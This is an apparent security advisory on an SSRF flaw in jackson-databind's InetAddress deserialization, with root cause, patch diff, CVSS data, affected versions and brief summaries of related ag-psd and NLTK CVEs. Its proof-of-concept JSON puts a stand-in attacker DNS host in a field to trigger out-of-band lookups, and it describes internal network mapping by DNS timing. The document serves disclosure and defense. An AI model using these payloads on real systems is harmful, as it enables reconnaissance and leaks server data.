Sep 29, 2026·4 min read·50 visits
Jackson Databind's deserializer for java.net.InetAddress executes synchronous, blocking DNS resolution when processing hostnames, enabling remote, unauthenticated attackers to trigger outbound Server-Side Request Forgery (SSRF) via crafted JSON payloads.
A Server-Side Request Forgery (SSRF) vulnerability exists in FasterXML jackson-databind before versions 2.18.9, 2.21.5, 2.22.1, 3.1.5, and 3.2.1. The flaw occurs during the deserialization of java.net.InetAddress fields, where the library implicitly triggers eager DNS lookups. Unauthenticated remote attackers can exploit this behavior by passing arbitrary hostnames in JSON fields, forcing target servers to make outbound DNS lookup requests.
Jackson Databind is a widely utilized Java library for parsing and mapping JSON data to Java objects. When configuring serialization and deserialization routines, applications can ingest data containing complex types, including network-related Java native classes. The vulnerability resides within the deserialization path of java.net.InetAddress assets, exposing an unauthenticated attack surface to remote entities.
The vulnerability is classified under CWE-918 (Server-Side Request Forgery). By default, applications exposing endpoints that accept arbitrary JSON input and map it to Java models containing InetAddress elements can be forced to initiate outbound DNS lookups. This network behavior allows malicious actors to conduct infrastructure mapping, internal hostname verification, and out-of-band data exfiltration.
The root cause of the vulnerability lies in the deserialization routing within FromStringDeserializer.Std._deserialize(). When processing a string input that maps to the case STD_INET_ADDRESS, the deserializer passes the unvalidated value directly to InetAddress.getByName(value).
Java's native InetAddress.getByName(String host) method possesses an implicit network resolution dependency. If the passed string is a valid numeric IP address literal (either IPv4 or IPv6), the JVM parses it locally without network interaction. However, if the input is any other string, the JVM treats it as a hostname and initiates a synchronous, blocking outbound DNS lookup through the operating system's configured resolver.
This behavior is visualized in the sequence below:
Because jackson-databind did not validate that the string was restricted to IP literals prior to invoking getByName(), arbitrary strings trigger external DNS resolutions. Attackers can leverage this to force server-side connections to infrastructure controlled by the adversary.
The security issue was corrected in commit 2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd by implementing a local validation utility, InetAddressValidator.java. This validator is adapted from Google Guava's InetAddresses.isInetAddress() implementation to perform lexical checkouts without initiating any network activity.
In FromStringDeserializer.java, the case block was modified as follows:
// Before Patch
case STD_INET_ADDRESS:
return InetAddress.getByName(value);
// After Patch
case STD_INET_ADDRESS:
// Prevent DNS lookup: only accept valid IP address literals
if (!InetAddressValidator.isInetAddress(value)) {
return ctxt.handleWeirdStringValue(_valueClass, value,
"Not a valid IP address string literal");
}
return InetAddress.getByName(value);The validation layer guarantees that the deserializer will immediately reject arbitrary hostnames. The structure of InetAddressValidator.java focuses on checking the formatting rules of both IPv4 dotted-quad configurations and IPv6 hexadecimal blocks:
class InetAddressValidator {
static boolean isInetAddress(String ipString) {
return _ipStringToBytes(ipString) != null;
}
// Internal parsing logic performs strict numerical validations
}This validator rejects leading zeros in IPv4 octets to avoid differences between decimal and octal interpretations across distinct JVM runtime implementations. Consequently, parser differential attacks are neutralized.
Exploitation requires an endpoint exposing a JSON parsing routine that deserializes data into a POJO with an InetAddress property. The attacker does not need authentication to execute this attack if the host application maps the API publicly.
Consider a vulnerable POJO registration:
public class SystemEndpoint {
public String hostIdentifier;
public java.net.InetAddress connectionAddress;
}An attacker crafts a JSON payload containing an Out-of-Band (OOB) domain designed to log resolution queries:
{
"hostIdentifier": "production-worker-01",
"connectionAddress": "exfiltrate-test.attacker-controlled-dns.com"
}When the web application ingests this payload, the library resolves the hostname during deserialization. The lookup query is successfully forwarded to the authoritative DNS server managed by the attacker. This confirms the vulnerability and leaks the egress server IP.
The vulnerability has a CVSS v3.1 base score of 5.3 (Medium). The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The impact is limited to low confidentiality leakage.
Because the DNS resolution is synchronous and blocking, excessive requests to slow or non-responsive DNS authorities could lead to resource exhaustion on the target server. Furthermore, adversaries can utilize this vulnerability to map internal network boundaries by querying local hostnames and monitoring the timing of the response. If the DNS lookup completes quickly, the internal name exists; if it times out, the name is likely invalid.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
jackson-databind (com.fasterxml.jackson.core) FasterXML | >= 2.0.0, < 2.18.9 | 2.18.9 |
jackson-databind (com.fasterxml.jackson.core) FasterXML | >= 2.19.0, < 2.21.5 | 2.21.5 |
jackson-databind (com.fasterxml.jackson.core) FasterXML | >= 2.22.0, < 2.22.1 | 2.22.1 |
jackson-databind (tools.jackson.core) FasterXML | >= 3.0.0, < 3.1.5 | 3.1.5 |
jackson-databind (tools.jackson.core) FasterXML | >= 3.2.0, < 3.2.1 | 3.2.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-918 (Server-Side Request Forgery) |
| Attack Vector | Network (Unauthenticated) |
| CVSS v3.1 Score | 5.3 (Medium) |
| Exploit Status | Proof-of-Concept Available |
| CISA KEV Status | Not Listed |
| Impact Category | Low Confidentiality (SSRF via DNS) |
An application receives the administrative control to fetch a resource from a remote location, but does not sufficiently validate the target URI, allowing attackers to direct the request to arbitrary destinations.
An uncontrolled memory allocation vulnerability exists in ag-psd versions prior to 31.0.0. When parsing Adobe Photoshop Document (PSD) files, the readPsd() function reads image dimensions and color depth directly from the file header and allocates off-heap typed arrays without validating whether the requested memory size is proportional to the input stream or bounded by operational thresholds. An unauthenticated attacker can supply a crafted 52-byte PSD payload that triggers an immediate 3.35 GB memory allocation, resulting in process termination via the operating system Out-Of-Memory (OOM) killer.
CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.
An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.
CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.